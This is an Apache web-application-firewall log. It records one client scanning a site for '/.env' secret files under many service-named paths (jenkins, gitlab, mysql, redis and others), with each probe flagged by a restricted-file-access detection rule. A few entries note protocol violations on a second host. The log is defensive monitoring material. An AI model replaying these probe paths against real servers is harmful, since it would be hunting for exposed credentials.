[Fri Jul 17 09:26:25.171087 2026] [security2:error] [pid 2032156:tid 2032156] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ceylonparampara.lk"] [uri "/cd/.env"] [unique_id "almn6a14q1EBnanVMYGpmwAAAAk"]
[Fri Jul 17 09:26:25.171464 2026] [security2:error] [pid 2032156:tid 2032156] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ceylonparampara.lk"] [uri "/cd/.env"] [unique_id "almn6a14q1EBnanVMYGpmwAAAAk"]
[Fri Jul 17 09:26:25.336641 2026] [security2:error] [pid 2047046:tid 2047046] [client 54.116.45.0:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /jenkins/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ceylonparampara.lk"] [uri "/jenkins/.env"] [unique_id "almn6U_0b3nWp8txtSDCoQAAAA0"]
[Fri Jul 17 09:26:25.336927 2026] [security2:error] [pid 2047046:tid 2047046] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ceylonparampara.lk"] [uri "/jenkins/.env"] [unique_id "almn6U_0b3nWp8txtSDCoQAAAA0"]
[Fri Jul 17 09:26:25.337306 2026] [security2:error] [pid 2047046:tid 2047046] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ceylonparampara.lk"] [uri "/jenkins/.env"] [unique_id "almn6U_0b3nWp8txtSDCoQAAAA0"]
[Fri Jul 17 09:26:25.512719 2026] [security2:error] [pid 2013830:tid 2013830] [client 54.116.45.0:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /gitlab/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ceylonparampara.lk"] [uri "/gitlab/.env"] [unique_id "almn6QRRrtuZqNDDSqW1awAAABo"]
[Fri Jul 17 09:26:25.513010 2026] [security2:error] [pid 2013830:tid 2013830] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ceylonparampara.lk"] [uri "/gitlab/.env"] [unique_id "almn6QRRrtuZqNDDSqW1awAAABo"]
[Fri Jul 17 09:26:25.513372 2026] [security2:error] [pid 2013830:tid 2013830] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ceylonparampara.lk"] [uri "/gitlab/.env"] [unique_id "almn6QRRrtuZqNDDSqW1awAAABo"]
[Fri Jul 17 09:26:25.679944 2026] [security2:error] [pid 2018741:tid 2018741] [client 54.116.45.0:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /github/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ceylonparampara.lk"] [uri "/github/.env"] [unique_id "almn6boj0IkvhSCYadmHgQAAAAQ"]
[Fri Jul 17 09:26:25.680263 2026] [security2:error] [pid 2018741:tid 2018741] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ceylonparampara.lk"] [uri "/github/.env"] [unique_id "almn6boj0IkvhSCYadmHgQAAAAQ"]
[Fri Jul 17 09:26:25.680709 2026] [security2:error] [pid 2018741:tid 2018741] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ceylonparampara.lk"] [uri "/github/.env"] [unique_id "almn6boj0IkvhSCYadmHgQAAAAQ"]
[Fri Jul 17 09:26:25.703244 2026] [security2:error] [pid 2032156:tid 2032156] [client 153.37.84.228:0] ModSecurity: Warning. Match of "within %{tx.allowed_request_content_type}" against "TX:content_type" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "956"] [id "920420"] [msg "Request content type is not allowed by policy"] [data "|text/html|"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153"] [tag "PCI/12.1"] [hostname "dragon.lk"] [uri "/store/index.php"] [unique_id "almn6a14q1EBnanVMYGpnAAAAAk"]
[Fri Jul 17 09:26:25.703361 2026] [security2:error] [pid 2032156:tid 2032156] [client 153.37.84.228:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "dragon.lk"] [uri "/store/index.php"] [unique_id "almn6a14q1EBnanVMYGpnAAAAAk"]
[Fri Jul 17 09:26:25.704034 2026] [security2:error] [pid 2032156:tid 2032156] [client 153.37.84.228:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "dragon.lk"] [uri "/store/index.php"] [unique_id "almn6a14q1EBnanVMYGpnAAAAAk"]
[Fri Jul 17 09:26:25.857214 2026] [security2:error] [pid 2030774:tid 2030774] [client 54.116.45.0:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /actions/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ceylonparampara.lk"] [uri "/actions/.env"] [unique_id "almn6RHlOGcokz2QIwTY1AAAAAM"]
[Fri Jul 17 09:26:25.857485 2026] [security2:error] [pid 2030774:tid 2030774] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ceylonparampara.lk"] [uri "/actions/.env"] [unique_id "almn6RHlOGcokz2QIwTY1AAAAAM"]
[Fri Jul 17 09:26:25.857906 2026] [security2:error] [pid 2030774:tid 2030774] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ceylonparampara.lk"] [uri "/actions/.env"] [unique_id "almn6RHlOGcokz2QIwTY1AAAAAM"]
[Fri Jul 17 09:26:25.985339 2026] [security2:error] [pid 2032156:tid 2032156] [client 153.37.84.228:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "dragon.lk"] [uri "/store/index.php"] [unique_id "almn6a14q1EBnanVMYGpnAAAAAk"]
[Fri Jul 17 09:26:26.021411 2026] [security2:error] [pid 2013830:tid 2013830] [client 54.116.45.0:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /circleci/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ceylonparampara.lk"] [uri "/circleci/.env"] [unique_id "almn6gRRrtuZqNDDSqW1bAAAABo"]
[Fri Jul 17 09:26:26.021696 2026] [security2:error] [pid 2013830:tid 2013830] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ceylonparampara.lk"] [uri "/circleci/.env"] [unique_id "almn6gRRrtuZqNDDSqW1bAAAABo"]
[Fri Jul 17 09:26:26.022070 2026] [security2:error] [pid 2013830:tid 2013830] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ceylonparampara.lk"] [uri "/circleci/.env"] [unique_id "almn6gRRrtuZqNDDSqW1bAAAABo"]
[Fri Jul 17 09:26:26.198325 2026] [security2:error] [pid 2030774:tid 2030774] [client 54.116.45.0:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /travis/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ceylonparampara.lk"] [uri "/travis/.env"] [unique_id "almn6hHlOGcokz2QIwTY1QAAAAM"]
[Fri Jul 17 09:26:26.198597 2026] [security2:error] [pid 2030774:tid 2030774] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ceylonparampara.lk"] [uri "/travis/.env"] [unique_id "almn6hHlOGcokz2QIwTY1QAAAAM"]
[Fri Jul 17 09:26:26.198951 2026] [security2:error] [pid 2030774:tid 2030774] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ceylonparampara.lk"] [uri "/travis/.env"] [unique_id "almn6hHlOGcokz2QIwTY1QAAAAM"]
[Fri Jul 17 09:26:26.355475 2026] [security2:error] [pid 2029866:tid 2029866] [client 54.116.45.0:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /buildkite/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ceylonparampara.lk"] [uri "/buildkite/.env"] [unique_id "almn6l1_86A5R6msWNfZ_QAAABI"]
[Fri Jul 17 09:26:26.355740 2026] [security2:error] [pid 2029866:tid 2029866] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ceylonparampara.lk"] [uri "/buildkite/.env"] [unique_id "almn6l1_86A5R6msWNfZ_QAAABI"]
[Fri Jul 17 09:26:26.356097 2026] [security2:error] [pid 2029866:tid 2029866] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ceylonparampara.lk"] [uri "/buildkite/.env"] [unique_id "almn6l1_86A5R6msWNfZ_QAAABI"]
[Fri Jul 17 09:26:26.566323 2026] [security2:error] [pid 2019501:tid 2019501] [client 54.116.45.0:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /mysql/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ceylonparampara.lk"] [uri "/mysql/.env"] [unique_id "almn6rEWOaI5pmYo9fnUawAAAAA"]
[Fri Jul 17 09:26:26.566621 2026] [security2:error] [pid 2019501:tid 2019501] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ceylonparampara.lk"] [uri "/mysql/.env"] [unique_id "almn6rEWOaI5pmYo9fnUawAAAAA"]
[Fri Jul 17 09:26:26.567091 2026] [security2:error] [pid 2019501:tid 2019501] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ceylonparampara.lk"] [uri "/mysql/.env"] [unique_id "almn6rEWOaI5pmYo9fnUawAAAAA"]
[Fri Jul 17 09:26:26.742712 2026] [security2:error] [pid 2034024:tid 2034024] [client 54.116.45.0:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /postgres/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ceylonparampara.lk"] [uri "/postgres/.env"] [unique_id "almn6o-0g_VSPeIeFN3GCAAAAAs"]
[Fri Jul 17 09:26:26.742999 2026] [security2:error] [pid 2034024:tid 2034024] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ceylonparampara.lk"] [uri "/postgres/.env"] [unique_id "almn6o-0g_VSPeIeFN3GCAAAAAs"]
[Fri Jul 17 09:26:26.743409 2026] [security2:error] [pid 2034024:tid 2034024] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ceylonparampara.lk"] [uri "/postgres/.env"] [unique_id "almn6o-0g_VSPeIeFN3GCAAAAAs"]
[Fri Jul 17 09:26:26.905656 2026] [security2:error] [pid 2018741:tid 2018741] [client 54.116.45.0:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /mongodb/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ceylonparampara.lk"] [uri "/mongodb/.env"] [unique_id "almn6roj0IkvhSCYadmHhAAAAAQ"]
[Fri Jul 17 09:26:26.905906 2026] [security2:error] [pid 2018741:tid 2018741] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ceylonparampara.lk"] [uri "/mongodb/.env"] [unique_id "almn6roj0IkvhSCYadmHhAAAAAQ"]
[Fri Jul 17 09:26:26.906352 2026] [security2:error] [pid 2018741:tid 2018741] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ceylonparampara.lk"] [uri "/mongodb/.env"] [unique_id "almn6roj0IkvhSCYadmHhAAAAAQ"]
[Fri Jul 17 09:26:27.087676 2026] [security2:error] [pid 2034024:tid 2034024] [client 54.116.45.0:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /redis/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ceylonparampara.lk"] [uri "/redis/.env"] [unique_id "almn64-0g_VSPeIeFN3GCQAAAAs"]
[Fri Jul 17 09:26:27.087961 2026] [security2:error] [pid 2034024:tid 2034024] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ceylonparampara.lk"] [uri "/redis/.env"] [unique_id "almn64-0g_VSPeIeFN3GCQAAAAs"]
[Fri Jul 17 09:26:27.088371 2026] [security2:error] [pid 2034024:tid 2034024] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ceylonparampara.lk"] [uri "/redis/.env"] [unique_id "almn64-0g_VSPeIeFN3GCQAAAAs"]
[Fri Jul 17 09:26:27.184559 2026] [ssl:error] [pid 2018741:tid 2018741] (70014)End of file found: [client 66.85.158.91:50510] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:26:27.258441 2026] [security2:error] [pid 2034024:tid 2034024] [client 54.116.45.0:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /elasticsearch/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ceylonparampara.lk"] [uri "/elasticsearch/.env"] [unique_id "almn64-0g_VSPeIeFN3GCgAAAAs"]
